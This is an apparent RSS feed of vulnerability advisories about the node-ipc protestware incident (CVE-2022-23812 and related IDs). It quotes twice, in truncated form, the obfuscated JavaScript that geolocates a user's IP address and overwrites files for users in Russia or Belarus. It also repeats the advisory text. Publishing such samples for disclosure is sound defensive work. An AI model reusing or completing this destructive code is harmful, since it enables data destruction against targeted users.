https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Sun, 04 Oct 2026 16:22:17 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-173879 EUVD-2026-173879 https://cve.radiocsirt.org/vuln/euvd-2026-173879 https://cve.radiocsirt.org/vuln/fkie_cve-2022-23812 <p>This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don&#39;t run it! js import u from &#34;path&#34;; import a from &#34;fs&#34;; import o from &#34;https&#34;; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t &gt; 1) { return; } const n = Buffer.from(&#34;aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=&#34;, &#34;base64&#34;); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString(&#34;utf8&#34;), function (t) { t.on(&#34;data&#34;, function (t) { const n = Buffer.from(&#34;Li8=&#34;, &#34;base64&#34;); const o = Buffer.from(&#34;Li4v&#34;, &#34;base64&#34;); const r = Buffer.from(&#34;Li4vLi4v&#34;, &#34;base64&#34;); const f = Buffer.from(&#34;Lw==&#34;, &#34;base64&#34;); const c = Buffer.from(&#34;Y291bnRyeV9uYW1l&#34;, &#34;base64&#34;); const e = Buffer.from(&#34;cnVzc2lh&#34;, &#34;base64&#34;); const i = Buffer.from(&#34;YmVsYXJ1cw==&#34;, &#34;base64&#34;); try { const s = JSON.parse(t.toString(&#34;utf8&#34;)); const u = s[c.toString(&#34;utf8&#34;)].toLowerCase(); const a = u.includes(e.toString(&#34;utf8&#34;)) || u.includes(i.toString(&#34;utf8&#34;)); // checks if country is Russia or Belarus if (a) { h(n.toString(&#34;utf8&#34;)); h(o.toString(&#34;utf8&#34;)); h(r.toString(&#34;utf8&#34;)); h(f.t…</p> <p>This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don&#39;t run it! js import u from &#34;path&#34;; import a from &#34;fs&#34;; import o from &#34;https&#34;; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t &gt; 1) { return; } const n = Buffer.from(&#34;aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=&#34;, &#34;base64&#34;); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString(&#34;utf8&#34;), function (t) { t.on(&#34;data&#34;, function (t) { const n = Buffer.from(&#34;Li8=&#34;, &#34;base64&#34;); const o = Buffer.from(&#34;Li4v&#34;, &#34;base64&#34;); const r = Buffer.from(&#34;Li4vLi4v&#34;, &#34;base64&#34;); const f = Buffer.from(&#34;Lw==&#34;, &#34;base64&#34;); const c = Buffer.from(&#34;Y291bnRyeV9uYW1l&#34;, &#34;base64&#34;); const e = Buffer.from(&#34;cnVzc2lh&#34;, &#34;base64&#34;); const i = Buffer.from(&#34;YmVsYXJ1cw==&#34;, &#34;base64&#34;); try { const s = JSON.parse(t.toString(&#34;utf8&#34;)); const u = s[c.toString(&#34;utf8&#34;)].toLowerCase(); const a = u.includes(e.toString(&#34;utf8&#34;)) || u.includes(i.toString(&#34;utf8&#34;)); // checks if country is Russia or Belarus if (a) { h(n.toString(&#34;utf8&#34;)); h(o.toString(&#34;utf8&#34;)); h(r.toString(&#34;utf8&#34;)); h(f.t…</p> https://cve.radiocsirt.org/vuln/fkie_cve-2022-23812 https://cve.radiocsirt.org/vuln/ghsa-97m3-w2cp-4xx6 <p><strong>Affected:</strong> npm: node-ipc</p> <p>The package node-ipc versions 10.1.1 and 10.1.2 are vulnerable to embedded malicious code that was introduced by the maintainer. The malicious code was intended to overwrite arbitrary files dependent upon the geo-location of the user IP address. The maintainer removed the malicious code in version 10.1.3.</p> <p><strong>Affected:</strong> npm: node-ipc</p> <p>The package node-ipc versions 10.1.1 and 10.1.2 are vulnerable to embedded malicious code that was introduced by the maintainer. The malicious code was intended to overwrite arbitrary files dependent upon the geo-location of the user IP address. The maintainer removed the malicious code in version 10.1.3.</p> https://cve.radiocsirt.org/vuln/ghsa-97m3-w2cp-4xx6 https://cve.radiocsirt.org/vuln/gsd-2022-23812 gsd-2022-23812 https://cve.radiocsirt.org/vuln/gsd-2022-23812